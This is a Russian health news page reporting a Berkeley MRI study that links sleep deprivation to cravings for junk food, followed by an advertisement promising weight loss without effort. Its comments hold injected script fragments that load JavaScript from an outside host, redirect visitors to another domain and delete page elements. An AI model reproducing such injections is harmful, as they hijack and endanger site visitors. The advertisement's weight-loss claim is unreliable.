Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Бессонные ночи заставляют...  >>  Бессонные ночи заставляют нас наедаться
 
Обратная связь
 

Бессонные ночи заставляют нас наедаться

Размер шрифта
07 октября 2013 00:00
Юрий Малышев
Здоровье инфо
Полина Калинина
Здоровье инфо
  • google_analytics: false
  • Нравится

Оказывается, при недостатке сна вы предпочитаете есть пончики и пиццу, а не зерновой хлеб и зелень! Ученые исследовали участки мозга, которые отвечают за выбор продуктов, и установили связь между недосыпанием и ожирением.

Бессонные ночи заставляют нас наедаться

С помощью МРТ ученые из Калифорнийского университета в Беркли дважды исследовали мозг двадцати трех молодых людей, после нормального сна и после бессонной ночи. Оказалось, что при недостатке сна нарушается активность лобной доли мозга, которая отвечает за принятие сложных решений, а также происходит стимуляция глубоких участков мозга, отвечающих за примитивные желания. Кроме того, невыспавшиеся участники исследования отдавали предпочтение фаст фуду.

«Мы узнали, что недостаток сна притупляет активность высокоорганизованных участков мозга, которые отвечают за прием сложных решений, и усиливает работу более просто устроенных центров мозга, которые контролируют мотивацию и примитивные желания», – говорит Мэттью Уолкер, автор исследования, профессор психологии и неврологии университета в Беркли. «В результате подобных изменений в мозге нездоровая пища кажется гораздо более привлекательной, вот почему люди, страдающие от недосыпания, склонны к набору лишнего веса или даже к ожирению».

Ранее уже была установлена связь недостаточного сна и повышения аппетита, особенно к сладкой и соленой пище, но в настоящем исследовании выявляются механизмы развития данного феномена.

«Наши результаты проливают свет на истинные причины лишнего веса, возникающего при недосыпании», – делятся Стефани Грир и Андрэа Гольдштейн, студенты и работники лаборатории Мэттью Уолкера.

В ходе исследования ученые измеряли активность мозга участников, показывая им изображения 80 различных видов пищи, от овощей и фруктов до бургеров, пиццы и пончиков. Оказалось, что последние продукты были особенно популярны у невыспавшихся испытуемых.

Уолкер заверяет, что достаточное количество сна способствует нормализации веса, так как восстанавливает механизм выбора здоровой пищи.

Для всех, кто хочет реально похудеть, ничего не делая, создана Диета Елены Малышевой! Можете заказать ее прямо сейчас!

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 19:01

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

2 - zzzzzz

30 июня 2015 в 22:59

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Все-таки есть ли повод есть пиццу?   Все куришь? Только ИНВИТРО заботится о тебе   Ешь фаст фуд, не моешь рот – будет инфаркт!   Как выглядит ваш мозг, когда вы слушаете Вивальди, Битлс или Диму Билана  
21 октября 2013ИНВИТРО открыла центр лучевой диагностики «ИНВИТРО.Эксперт» 01 ноября 2013ИНВИТРО – «Марка №1» в России
 
11 октября 2013Елена Малышева расскажет все о том, как правильно худеть 03 октября 2013Результаты благотворительного марафона «Всем миром»
 

Слайдшоу

1
Как прекратить боль во время месячных?
Привычки, которые делают вас толстым. Часть 1
Ужасы жевания жвачки

Тесты

1
Будет ли у вас инфаркт?
Кофеин вызывает зависимость?
Как устроены волосы человека?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.